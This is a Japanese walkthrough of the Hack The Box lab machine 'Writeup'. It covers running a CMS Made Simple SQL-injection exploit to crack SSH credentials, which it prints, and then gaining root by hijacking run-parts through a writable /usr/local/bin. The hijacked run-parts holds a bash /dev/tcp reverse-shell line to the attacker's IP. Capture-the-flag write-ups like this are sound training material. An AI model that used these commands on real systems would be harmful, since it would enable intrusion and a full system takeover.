Writeup 日本語でウォークスルー Hack The Box Machine:

HTB htb-easy

Hack The BoxのWriteupのウォークスルー・ライトアップ(walkthrough/writeup)です。難易度はeasyとなっています。
※本記事はサイバー犯罪を助長するものではありません。ハッキングやクラック等の悪用は厳禁です。

HTB Writeup ウォークスルー・ライトアップ Hack The Box

Summary

local shell取得まで

ターゲットポート:TCP 80(http)
脆弱性:ターゲットにはCMS Made Simple < 2.2.10 - SQL Injectionの脆弱性が内在していた。これを利用し、SSH用のクレデンシャル情報を入手した。
local権限を取得したユーザ:「jkr」

privilege Escalation取得まで

脆弱性:ターゲット上でSSHログイン時の「run-parts」を偽造した。これを利用して、「root」用のshellを取得した。
root権限を取得したユーザ:root

Information Gathering

ポートスキャン

それでははじめます。まずはターゲット上で動作しているTCPポートをnmapで探します。nmapについてはこちらを参照ください。

nmapの結果、上画像の通り、TCPポート番号22(ssh)と80(http)が開いていることが分かりました。
また、「writeup」というフォルダがあることが分かりました。
まず、httpから調査していくことにしました。

ターゲットのhttpサービス調査(TCPポート番号80)

先程見つけた「writeup」にfirefoxを使ってアクセスした所、以下が表示されました。
Hack the Box上のマシンである「Blue」と「Ypuffy」の「Writeup」が記載されているようでした。

「Blue」と「Ypuffy」に関しては、私のサイトでも日本語でWriteupを書いています。以下をご参考ください。

「Writeup」ページのソースコードを確認した所、「CMS Made Simple Copyright (C) 2004-2019」という記載がありました。

「CMS Made Simple」の脆弱性調査

「CMS Made Simple」の脆弱性を調査した所、CMS Made Simple < 2.2.10 - SQL Injectionを見つけました。

この脆弱性のスクリプトを「46635.py」としてダウンロードしました。以下コマンドで実行した所、クレデンシャル情報を入手できました。

python ./46635.py -u http://10.10.10.138/writeup/ --crack -w /usr/share/wordlists/rockyou.txt
username:jkr password:raykayjay9

local shellの取得

SSHでアクセスする

先程入手したクレデンシャル情報を使ってSSHでターゲットにアクセスを試みました。
その結果、ユーザー「jkr」のshellを入手できました。

username:jkr password:raykayjay9

Privilege Escalation

Privilege Escalationのための脆弱性調査

続いてPrivilege Escalationのための脆弱性を調査していきました。
まず、「jkr」ユーザーが「staff」グループに所属していることが分かりました。(「id」コマンドの結果です。)
また、以下コマンドの結果により、「staff」グループに所属しているメンバーが書き込みを許可されているフォルダを探しました。

find / -group staff 2>/dev/null


上記の結果により、「/usr/local/bin」への書き込みが許可されていることが分かります。

また、SSHログイン時に実行される「run-parts」に着目しました。
以下の通り、「run-parts」が「/bin」に格納されていることが分かります。
また、「$PATH」を確認した所、「/usr/local/bin」の方が「/bin」より先に表示されていることが分かります。

これらの調査結果から、「run-parts」にreverse-shell用のスクリプトを仕込み、書き込み可能な「/usr/local/bin」へ格納する方法を検討することにしました。

「run-parts」にreverse-shell用のスクリプトを仕込む

以下のように「run-parts」を作成していきました。「xx.xx」は自分のマシンのIPアドレスです。


cd /usr/local/bin
touch run-parts
echo '#!/bin/bash' > run-parts
echo 'bash -i >& /dev/tcp/10.10.xx.xx/4455 0>&1' >> run-parts
chmod +x run-parts

SSHログインをして「run-parts」を実行する

自分のマシンでnetcatを仕掛けてから、新しいセッションでSSHログインを実施しました。(ユーザは「jkr」です。)
すると、以下の通り、仕掛けた「run-parts」が実行されて、reverse-shellを取得することができました。

flagを探す

user.txtは「/home/jkr」にありました。
root.txtは「/root」直下にありました。

以上で、Writeupのウォークスルーは終了です。

今まで記事にしたHack The Boxのマシンは以下にまとめています。